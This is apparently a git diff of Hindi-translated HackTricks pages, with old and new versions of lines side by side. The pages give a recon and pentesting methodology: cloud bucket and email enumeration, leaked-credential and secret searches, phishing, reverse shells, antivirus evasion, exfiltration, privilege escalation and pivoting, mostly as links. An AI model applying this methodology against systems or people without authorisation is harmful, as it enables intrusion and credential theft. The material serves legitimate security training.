* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) देखें)।
फिर, उन शब्दों के साथ आपको **परम्यूटेशन** उत्पन्न करनी चाहिए (अधिक जानकारी के लिए [**दूसरे दौर के DNS ब्रूट-फोर्स**](./#second-dns-bruteforce-round) की जांच करें)।
परिणामी वर्डलिस्ट के साथ आप [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **या** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** का उपयोग कर सकते हैं।**
याद रखें कि जब आप क्लाउड संपत्तियों की खोज कर रहे हों तो आपको **AWS में बकेट्स से अधिक की तलाश करनी चाहिए**
### **Looking for vulnerabilities**
### **संवेदनशीलता की खोज**
यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** को उजागर करते हैं तो आपको **उन तक पहुँचने** और यह देखने की कोशिश करनी चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
यदि आप **खुले बकेट्स या क्लाउड फ़ंक्शंस** खोजते हैं तो आपको **उनका उपयोग करना चाहिए** और देखना चाहिए कि वे आपको क्या प्रदान करते हैं और क्या आप उनका दुरुपयोग कर सकते हैं।
## Emails
## ईमेल
दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने के लिए सबसे अच्छे लगे हैं:
दायरे में **डोमेन** और **सबडोमेन** के साथ आपके पास **ईमेल खोजने के लिए आवश्यक सभी चीजें** हैं। ये हैं **APIs** और **उपकरण** जो मुझे किसी कंपनी के ईमेल खोजने में सबसे अच्छे लगे हैं:
* [**theHarvester**](https://github.com/laramies/theHarvester) - APIs के साथ
* [**https://hunter.io/**](https://hunter.io/) का API (फ्री संस्करण)
* [**https://app.snov.io/**](https://app.snov.io/) का API (फ्री संस्करण)
* [**https://minelead.io/**](https://minelead.io/) का API (फ्री संस्करण)
### **Looking for vulnerabilities**
### **संवेदनशीलता की खोज**
ईमेल बाद में **वेब लॉगिन और ऑथ सेवाओं** (जैसे SSH) के लिए **ब्रूट-फोर्स** करने में सहायक होंगे। इसके अलावा, ये **फिशिंग** के लिए आवश्यक हैं। इसके अलावा, ये APIs आपको ईमेल के पीछे के व्यक्ति के बारे में और भी अधिक **जानकारी** प्रदान करेंगे, जो फिशिंग अभियान के लिए उपयोगी है।
ईमेल बाद में **वेब लॉगिन और ऑथ सेवाओं** (जैसे SSH) के लिए **ब्रूट-फोर्स** करने में सहायक होंगे। इसके अलावा, ये **फिशिंग** के लिए आवश्यक हैं। इसके अलावा, ये APIs आपको ईमेल के पीछे के व्यक्ति के बारे में और भी अधिक **जानकारी** देंगी, जो फिशिंग अभियान के लिए उपयोगी है।
## Credential Leaks
## क्रेडेंशियल लीक
**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित **लीक हुए क्रेडेंशियल्स** की खोज शुरू कर सकते हैं:
**डोमेन,** **सबडोमेन**, और **ईमेल** के साथ आप उन ईमेल से संबंधित अतीत में लीक हुए क्रेडेंशियल्स की खोज शुरू कर सकते हैं:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Looking for vulnerabilities**
### **संवेदनशीलता की खोज**
यदि आप **मान्य लीक हुए** क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है।
यदि आप **मान्य लीक** हुए क्रेडेंशियल्स पाते हैं, तो यह एक बहुत आसान जीत है।
## Secrets Leaks
## सीक्रेट्स लीक
क्रेडेंशियल लीक उन कंपनियों के हैक से संबंधित हैं जहाँ **संवेदनशील जानकारी लीक और बेची गई**। हालाँकि, कंपनियाँ **अन्य लीक** से प्रभावित हो सकती हैं जिनकी जानकारी उन डेटाबेस में नहीं है:
### Github Leaks
### गिटहब लीक
क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी के लिए काम करने वाले **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\
आप **उपकरण** [**Leakos**](https://github.com/carlospolop/Leakos) का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं।
क्रेडेंशियल्स और APIs **कंपनी** या उस गिटहब कंपनी में काम करने वाले **उपयोगकर्ताओं** के **सार्वजनिक रिपॉजिटरी** में लीक हो सकते हैं।\
आप **Leakos** नामक **उपकरण** का उपयोग करके किसी **संगठन** और उसके **डेवलपर्स** के सभी **सार्वजनिक रिपॉजिटरी** को **डाउनलोड** कर सकते हैं और उन पर स्वचालित रूप से [**gitleaks**](https://github.com/zricethezav/gitleaks) चला सकते हैं।
**Leakos** का उपयोग सभी **पाठ** प्रदान किए गए **URLs** पर **gitleaks** चलाने के लिए भी किया जा सकता है क्योंकि कभी-कभी **वेब पृष्ठों में भी रहस्य होते हैं**
#### Github Dorks
#### गिटहब डॉर्क्स
आप जिस संगठन पर हमला कर रहे हैं, उसमें संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की जांच करें:
आप जिस संगठन पर हमला कर रहे हैं, उसमें संभावित **गिटहब डॉर्क्स** के लिए इस **पृष्ठ** की भी जांच करें:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Pastes Leaks
### पेस्ट लीक
कभी-कभी हमलावर या बस कर्मचारी **कंपनी की सामग्री को एक पेस्ट साइट पर प्रकाशित करेंगे**। इसमें **संवेदनशील जानकारी** हो सकती है या नहीं, लेकिन इसे खोजना बहुत दिलचस्प है।\
आप **Pastos** नामक उपकरण का उपयोग करके एक साथ 80 से अधिक पेस्ट साइटों में खोज कर सकते हैं।
### Google Dorks
### गूगल डॉर्क्स
पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप **Gorks** जैसे **उपकरण** का उपयोग कर सकते हैं **उन्हें सभी चलाने के लिए**
पुराने लेकिन सुनहरे गूगल डॉर्क्स हमेशा **वहां नहीं होनी चाहिए ऐसी उजागर जानकारी** खोजने के लिए उपयोगी होते हैं। एकमात्र समस्या यह है कि [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) में कई **हजारों** संभावित क्वेरीज़ होती हैं जिन्हें आप मैन्युअल रूप से नहीं चला सकते। इसलिए, आप अपने पसंदीदा 10 को ले सकते हैं या आप [**Gorks**](https://github.com/carlospolop/Gorks) जैसे **उपकरण का उपयोग कर सकते हैं** **उन्हें सभी चलाने के लिए**
_ध्यान दें कि जो उपकरण नियमित Google ब्राउज़र का उपयोग करके सभी डेटाबेस को चलाने की उम्मीद करते हैं, वे कभी समाप्त नहीं होंगे क्योंकि Google आपको बहुत जल्दी ब्लॉक कर देगा।_
### **Looking for vulnerabilities**
### **संवेदनशीलता की खोज**
यदि आप **मान्य लीक हुए** क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है।
यदि आप **मान्य लीक** हुए क्रेडेंशियल्स या API टोकन पाते हैं, तो यह एक बहुत आसान जीत है।
## Public Code Vulnerabilities
## सार्वजनिक कोड संवेदनशीलताएँ
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है, तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **कमजोरियों** की खोज कर सकते हैं।
यदि आपने पाया कि कंपनी का **ओपन-सोर्स कोड** है, तो आप इसे **विश्लेषण** कर सकते हैं और इसमें **संवेदनशीलताएँ** खोज सकते हैं।
**भाषा के आधार पर** आपके पास विभिन्न **उपकरण** हो सकते हैं:
@ -614,58 +614,58 @@ _ध्यान दें कि जो उपकरण नियमित Goog
* [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
## [**पेंटेस्टिंग वेब मेथोडोलॉजी**](../../network-services-pentesting/pentesting-web/)
**कमजोरियों** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब अनुप्रयोगों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब अनुप्रयोग परीक्षण पद्धति** के बारे में बात करना चाहता हूँ, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
**संवेदनशीलताओं** की **अधिकांशता** जो बग हंटर्स द्वारा पाई जाती है, **वेब एप्लिकेशनों** के अंदर होती है, इसलिए इस बिंदु पर मैं एक **वेब एप्लिकेशन परीक्षण पद्धति** के बारे में बात करना चाहूंगा, और आप [**यहाँ इस जानकारी को पा सकते हैं**](../../network-services-pentesting/pentesting-web/)।
मैं [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आप उनसे बहुत संवेदनशील कमजोरियों की खोज करने की उम्मीद नहीं करते हैं, तो वे **प्रारंभिक वेब जानकारी प्राप्त करने के लिए कार्यप्रवाहों में लागू करने के लिए सहायक होते हैं।**
मैं [**वेब स्वचालित स्कैनर्स ओपन-सोर्स टूल्स**](../../network-services-pentesting/pentesting-web/#automatic-scanners) अनुभाग का विशेष उल्लेख करना चाहता हूँ, क्योंकि, यदि आपको उनसे बहुत संवेदनशील संवेदनशीलताएँ खोजने की उम्मीद नहीं करनी चाहिए, तो वे **कार्यप्रवाहों में कुछ प्रारंभिक वेब जानकारी प्राप्त करने के लिए सहायक होते हैं।**
## Recapitulation
## पुनरावलोकन
> बधाई हो! इस बिंदु पर आपने पहले ही **सभी बुनियादी गणना** कर ली है। हाँ, यह बुनियादी है क्योंकि और भी बहुत अधिक गणना की जा सकती है (बाद में और तरकीबें देखेंगे)।
तो आपने पहले ही:
1. दायरे में सभी **कंपनियों** को पाया
2. कंपनियों से संबंधित सभी **संपत्तियों** को पाया (और यदि दायरे में हो तो कुछ कमजोरियों का स्कैन किया)
2. कंपनियों से संबंधित सभी **संपत्तियों** को पाया (और यदि दायरे में हो तो कुछ संवेदनशीलता स्कैन किया)
3. कंपनियों से संबंधित सभी **डोमेन** को पाया
4. डोमेन के सभी **सबडोमेन** को पाया (क्या कोई सबडोमेन टेकओवर?)
5. दायरे में सभी **IPs** (CDNs से और **नहीं**) को पाया।
6. सभी **वेब सर्वर** को पाया और उनका **स्क्रीनशॉट** लिया (क्या कुछ अजीब है जो गहराई से देखने लायक है?)
7. कंपनी से संबंधित सभी **संभावित सार्वजनिक क्लाउड संपत्तियों** को पाया।
8. **ईमेल**, **क्रेडेंशियल लीक**, और **गुप्त लीक** जो आपको **बहुत आसानी से एक बड़ा लाभ** दे सकते हैं।
9. आपने जो भी वेब खोजी हैं, उनका **पेंटेस्टिंग** किया
8. **ईमेल**, **क्रेडेंशियल लीक**, और **सीक्रेट लीक** जो आपको **बहुत आसानी से एक बड़ा जीत** दे सकते हैं।
9. **आपने सभी वेब्स का पेंटेस्टिंग किया जो आपने पाए**
## **Full Recon Automatic Tools**
## **पूर्ण पुनः खोज स्वचालित उपकरण**
वहाँ कई उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के कुछ हिस्सों को निष्पादित करेंगे।
वहाँ कई उपकरण हैं जो दिए गए दायरे के खिलाफ प्रस्तावित कार्यों के एक भाग को निष्पादित करेंगे।
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - थोड़ा पुराना और अपडेट नहीं किया गया
## **References**
## **संदर्भ**
* सभी मुफ्त पाठ्यक्रम [**@Jhaddix**](https://twitter.com/Jhaddix) जैसे [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपॉजिटरी में PR सबमिट करें।
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपॉजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने के लिए - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
@ -25,7 +25,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ द्वारा_
_Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ द्वारा।_
### 0- भौतिक हमले
@ -56,16 +56,16 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए।
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में** _**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया बाईं सूची में** _**PENTESTING**_ **अनुभाग खोजें** (सेवाएँ उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)।
**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का उल्लेख करना चाहता हूँ (क्योंकि यह सबसे विस्तृत है)।**\
इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](search-exploits.md) यहाँ पाया जा सकता है।
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते** हैं, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)।
**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल खोजें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते** हैं, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, फज़िंग करने और प्रतिक्रियाएँ पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)।
#### 5.1 स्वचालित उपकरण
कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)** आज़माने की सिफारिश करूंगा, जो वह उपकरण है जिसे मैंने बनाया है और यह इस पुस्तक में आपको मिल सकने वाले सेवाओं के परीक्षण के नोट्स पर आधारित है।**
कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो मैंने बनाया है और यह इस पुस्तक में आपको मिल सकने वाले सेवाओं के परीक्षण के नोट्स पर आधारित है, आज़माने की सिफारिश करूंगा।**
#### **5.2 ब्रूट-फोर्सिंग सेवाएँ**
@ -73,17 +73,17 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
### 6- [फिशिंग](phishing-methodology/)
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की आवश्यकता हो सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की कोशिश करनी पड़ सकती है**। आप मेरी फिशिंग पद्धति [यहाँ](phishing-methodology/) पढ़ सकते हैं:
### **7-** [**शेल प्राप्त करना**](reverse-shells/)
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जाने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची जो आपको एक रिवर्स शेल प्राप्त करने में मदद कर सकती है](reverse-shells/) बहुत उपयोगी होगी
किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका मिल जाना चाहिए**। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](reverse-shells/)
विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जाँच करें**](../windows-hardening/av-bypass.md)**।**\\
### 8- अंदर
यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ **पेंटेस्टर्स के लिए सबसे उपयोगी कमांड्स का एक छोटा संकलन** पा सकते हैं:
यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ **पेंटेस्टर्स के लिए सबसे उपयोगी कमांडों का एक छोटा संकलन** पा सकते हैं:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -91,14 +91,14 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
### **9 -** [**एक्सफिल्ट्रेशन**](exfiltration.md)
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए आप जिन सामान्य उपकरणों का उपयोग कर सकते हैं, उनके बारे में एक पोस्ट है**](exfiltration.md)**।**
आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहाँ आपके लिए** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](exfiltration.md)**।**
### **10- विशेषाधिकार वृद्धि**
#### **10.1- स्थानीय प्रिवेस्क**
यदि आप **बॉक्स के अंदर रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
यहाँ आप [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड पा सकते हैं।**\
यदि आप बॉक्स के अंदर **रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\
यहाँ आपको [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **में स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड मिलेगी।**\
आपको यह पृष्ठ भी देखना चाहिए कि **Windows कैसे काम करता है**:
* [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
@ -110,14 +110,14 @@ _Hacktricks लोगो डिज़ाइन किए गए हैं_ [_@pp
#### **10.2- डोमेन प्रिवेस्क**
यहाँ आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और बनाए रखने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यंत नाजुक** हो सकती है।
यहाँ आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और स्थायी बनाने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यधिक नाजुक** हो सकती है।
### 11 - पोस्ट
#### **11**.1 - लूटना
जाँच करें कि क्या आप होस्ट के अंदर अधिक **पासवर्ड** पा सकते हैं या यदि आपके पास **अपने उपयोगकर्ता के विशेषाधिकारों** के साथ **अन्य मशीनों** तक पहुंच है।\
यहाँ Windows में [**पासवर्ड डंप करने के विभिन्न तरीकों**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की जाँच करें।
यहाँ Windows में [**पासवर्ड डंप करने के विभिन्न तरीकों**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की खोज करें।
#### 11.2 - स्थिरता
@ -128,14 +128,14 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
### 12 - पिवटिंग
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता हो सकती है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई होस्ट का पता लगाने और स्कैन करने** की आवश्यकता है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहाँ आपका शिकार जुड़ा हुआ है।\
इस मामले में, टनलिंग आवश्यक हो सकती है। यहाँ आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](tunneling-and-port-forwarding.md)।\
आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए शानदार ट्रिक्स मिलेंगी।\
आपको निश्चित रूप से [एक्टिव डायरेक्टरी पेंटेस्टिंग पद्धति](../windows-hardening/active-directory-methodology/) के बारे में पोस्ट की जाँच करनी चाहिए। वहाँ आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स डंप करने के लिए अच्छे ट्रिक्स मिलेंगे।\
[**NTLM**](../windows-hardening/ntlm/) के बारे में पृष्ठ की जाँच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है।
### अधिक
#### [Android अनुप्रयोग](../mobile-pentesting/android-app-pentesting/)
#### [एंड्रॉइड अनुप्रयोग](../mobile-pentesting/android-app-pentesting/)
#### **शोषण**
@ -151,9 +151,9 @@ TODO: Windows और Linux में स्थिरता पोस्ट प
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**पैडिंग ओरेकल**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने के लिए - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -1,36 +1,36 @@
# FS सुरक्षा को बायपास करें: केवल पढ़ने के लिए / कोई निष्पादन नहीं / डिस्ट्रोलैस
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
